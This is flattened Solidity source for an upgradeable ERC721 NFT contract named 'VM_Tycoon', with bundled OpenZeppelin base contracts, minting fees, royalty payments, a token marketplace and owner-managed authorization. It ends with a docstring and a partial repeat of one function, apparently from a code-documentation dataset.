* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// File: @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
__Context_init_unchained();
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[44] private __gap;
}
// File: VM_Tycoon.sol
//SPDX-License-Identifier: MIT
// contracts/ERC721.sol
// upgradeable contract
pragma solidity >=0.8.0;
interface splitter {
function split(uint256 value) external payable;
}
contract VM_Tycoon is ERC721Upgradeable {
// Royalty
address private _owner;
address private _mintRoyaltiesAddr; // royality receiver for mint
address private _buyRoyaltiesAddr; // royality receives for buy
uint256 public royaltyPercentage; // royalty based on sales price
mapping(address => bool) public excludedList; // list of people who dont have to pay fee
//GB HOLDERS EARLY ACCESS TOKENS
uint256 public constant gbHoldersMaxMint = 900;
mapping(address => bool) public gbholders;
address public GB_erc20_contract;
uint256[] private _gbTokenSupply;
// cost to mint
uint256 public mintFeeAmount;
// // NFT Meta data
string public baseURL;
uint256 public constant maxSupply = 10000;
// enable flag for public and GB
bool public openForGB;
bool public openForPublic;
// define VMTycoon struct
struct VMTycoon {
uint256 tokenId;
// string tokenURI;
address mintedBy;
address currentOwner;
uint256 previousPrice;
uint256 price;
uint256 numberOfTransfers;
bool forSale;
uint256 level;
}
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
// map id to VMTycoon obj
mapping(uint256 => VMTycoon) public allVMTycoons;
// implement the IERC721Enumerable which no longer come by default in openzeppelin 4.x
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
//================================= Events ================================= //
event GBERC20Checked(address indexed _holder, uint256 _bal, bool _result);
event SaleToggle(uint256 vmtycoonNumber, bool isForSale, uint256 price);
event PurchaseEvent(uint256 vmtycoonNumber, address from, address to, uint256 price);
function initialize(
address _contractOwner,
address _mintRoyaltyReceiver,
address _buyRoyaltyReceiver,
uint256 _royaltyPercentage,
uint256 _mintFeeAmount,
string memory _baseURL,
bool _openForPublic
) public initializer {
// __ERC721_init("swng", "swng");
__ERC721_init("Vending Machines Tycoon", "VMT");
royaltyPercentage = _royaltyPercentage;
_owner = _contractOwner;
_mintRoyaltiesAddr = _mintRoyaltyReceiver;
_buyRoyaltiesAddr = _buyRoyaltyReceiver;
mintFeeAmount = _mintFeeAmount;
excludedList[_buyRoyaltyReceiver] = true;
baseURL = _baseURL;
openForPublic = _openForPublic;
}
function mint(uint256 numberOfToken) public payable {
// check if thic fucntion caller is not an zero address account
require(openForPublic == true, "not open");
require(msg.sender != address(0));
require(
_allTokens.length + numberOfToken <= maxSupply,
"max supply"
);
require(numberOfToken > 0, "Min 1");
require(numberOfToken <= 12, "Max 12");
uint256 price = 0;
// pay for minting cost
if (excludedList[msg.sender] == false) {
// send token's worth of ethers to the owner
price = mintFeeAmount * numberOfToken;
require(msg.value == price, "Not enough fee");
payable(_mintRoyaltiesAddr).transfer(msg.value);
splitter(_mintRoyaltiesAddr).split(msg.value);
} else {
// return money to sender // since its free
payable(msg.sender).transfer(msg.value);
}
for (uint256 i = 1; i <= numberOfToken; i++) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_safeMint(msg.sender, newItemId);
VMTycoon memory newVMTycoon = VMTycoon(
newItemId,
msg.sender,
msg.sender,
0,
price,
0,
false,
100
);
// add the token id to the allVMTycoons
allVMTycoons[newItemId] = newVMTycoon;
}
}
function changeUrl(string memory url) external {
require(msg.sender == _owner, "Only owner");
baseURL = url;
}
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
// GB holder related functions
function gbTotalSupply() public view returns (uint256) {
return _gbTokenSupply.length;
}
function setPriceForSale(
uint256 _tokenId,
uint256 _newPrice,
bool isForSale
) external {
require(_exists(_tokenId), "token not found");
address tokenOwner = ownerOf(_tokenId);
require(tokenOwner == msg.sender, "not owner");
VMTycoon memory vmtycoon = allVMTycoons[_tokenId];
vmtycoon.price = _newPrice;
vmtycoon.forSale = isForSale;
allVMTycoons[_tokenId] = vmtycoon;
emit SaleToggle(_tokenId, isForSale, _newPrice);
}
function getAllSaleTokens() public view returns (uint256[] memory) {
uint256 _totalSupply = totalSupply();
uint256[] memory _tokenForSales = new uint256[](_totalSupply);
uint256 counter = 0;
for (uint256 i = 1; i <= _totalSupply; i++) {
if (allVMTycoons[i].forSale == true) {
_tokenForSales[counter] = allVMTycoons[i].tokenId;
counter++;
}
}
return _tokenForSales;
}
/*
struct VMTycoon {
uint256 tokenId;
// string tokenURI;
address mintedBy;
address currentOwner;
uint256 previousPrice;
uint256 price;
uint256 numberOfTransfers;
bool forSale;
uint256 level;
}
*/
function getAllTokensInfo(uint256[] calldata IDList) public view returns (uint256[] memory,
address[] memory,
uint256[] memory,
uint256[] memory,
bool[] memory,
uint256[] memory) {
uint256[] memory tokenId = new uint256[](IDList.length);
address[] memory currentOwner = new address[](IDList.length);
uint256[] memory previousPrice = new uint256[](IDList.length);
uint256[] memory price = new uint256[](IDList.length);
bool[] memory forSale = new bool[](IDList.length);
uint256[] memory level = new uint256[](IDList.length);
uint256 index = 0;
for (; index < IDList.length; ++index) {
uint256 currentIndex = IDList[index];
tokenId[index] = allVMTycoons[currentIndex].tokenId;
currentOwner[index] = allVMTycoons[currentIndex].currentOwner;
previousPrice[index] = allVMTycoons[currentIndex].previousPrice;
price[index] = allVMTycoons[currentIndex].price;
forSale[index] = allVMTycoons[currentIndex].forSale;
level[index] = allVMTycoons[currentIndex].level;
}
return (tokenId, currentOwner, previousPrice, price, forSale, level);
}
// by a token by passing in the token's id
function buyToken(uint256 _tokenId) public payable {
// check if the token id of the token being bought exists or not
require(_exists(_tokenId));
// get the token's owner
address tokenOwner = ownerOf(_tokenId);
// token's owner should not be an zero address account
require(tokenOwner != address(0));
// the one who wants to buy the token should not be the token's owner
require(tokenOwner != msg.sender);
// get that token from all VMTycoons mapping and create a memory of it defined as (struct => VMTycoon)
VMTycoon memory vmtycoon = allVMTycoons[_tokenId];
// price sent in to buy should be equal to or more than the token's price
require(msg.value >= vmtycoon.price);
// token should be for sale
require(vmtycoon.forSale);
uint256 amount = msg.value;
uint256 _royaltiesAmount = (amount * royaltyPercentage) / 100;
uint256 payOwnerAmount = amount - _royaltiesAmount;
payable(_buyRoyaltiesAddr).transfer(_royaltiesAmount);
payable(vmtycoon.currentOwner).transfer(payOwnerAmount);
vmtycoon.previousPrice = vmtycoon.price;
allVMTycoons[_tokenId] = vmtycoon;
_transfer(tokenOwner, msg.sender, _tokenId);
emit PurchaseEvent(_tokenId, vmtycoon.currentOwner, msg.sender, vmtycoon.price);
}
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
returns (uint256)
{
require(index < balanceOf(owner), "out of bounds");
return _ownedTokens[owner][index];
}
// URI Storage override functions
/** Overrides ERC-721's _baseURI function */
function _baseURI()
internal
view
virtual
override(ERC721Upgradeable)
returns (string memory)
{
return baseURL;
}
function _burn(uint256 tokenId) internal override(ERC721Upgradeable) {
super._burn(tokenId);
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721Upgradeable)
returns (string memory)
{
return super.tokenURI(tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721Upgradeable) {
super._beforeTokenTransfer(from, to, tokenId);
VMTycoon memory vmtycoon = allVMTycoons[tokenId];
vmtycoon.currentOwner = to;
vmtycoon.numberOfTransfers += 1;
vmtycoon.forSale = false;
allVMTycoons[tokenId] = vmtycoon;
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId)
private
{
uint256 lastTokenIndex = balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
// upgrade contract to support authorized
mapping(address => bool) public authorized;
modifier onlyAuthorized() {
require(authorized[msg.sender] || msg.sender == _owner , "Not authorized");
_;
}
function addAuthorized(address _toAdd) public {
require(msg.sender == _owner, 'Not owner');
require(_toAdd != address(0));
authorized[_toAdd] = true;
}
function removeAuthorized(address _toRemove) public {
require(msg.sender == _owner, 'Not owner');
require(_toRemove != address(0));
require(_toRemove != msg.sender);
authorized[_toRemove] = false;
}
// upgrade the contract
function setLevel(uint256 _tokenId, uint256 _newLevel) external onlyAuthorized {
VMTycoon memory vmtycoon = allVMTycoons[_tokenId];
vmtycoon.level = _newLevel;
// set and update that token in the mapping
allVMTycoons[_tokenId] = vmtycoon;
}
// Change owner.
function changeOwner(address newOwner) external {
require(msg.sender == _owner, 'Not owner');
require(newOwner != address(0));
require(newOwner != msg.sender);
_owner = newOwner;
}
}
|
Hook that is called before any token transfer. This includes minting and burning. To learn more about hooks, head to xref:ROOT:extending-contracts.adocusing-hooks[Using Hooks]./
|
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721Upgradeable) {
super._beforeTokenTransfer(from, to, tokenId);
VMTycoon memory vmtycoon = allVMTycoons[tokenId];
vmtycoon.currentOwner = to;
vmtycoon.numberOfTransfers += 1;
vmtycoon.forSale = false;
allVMTycoons[tokenId] = vmtycoon;
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
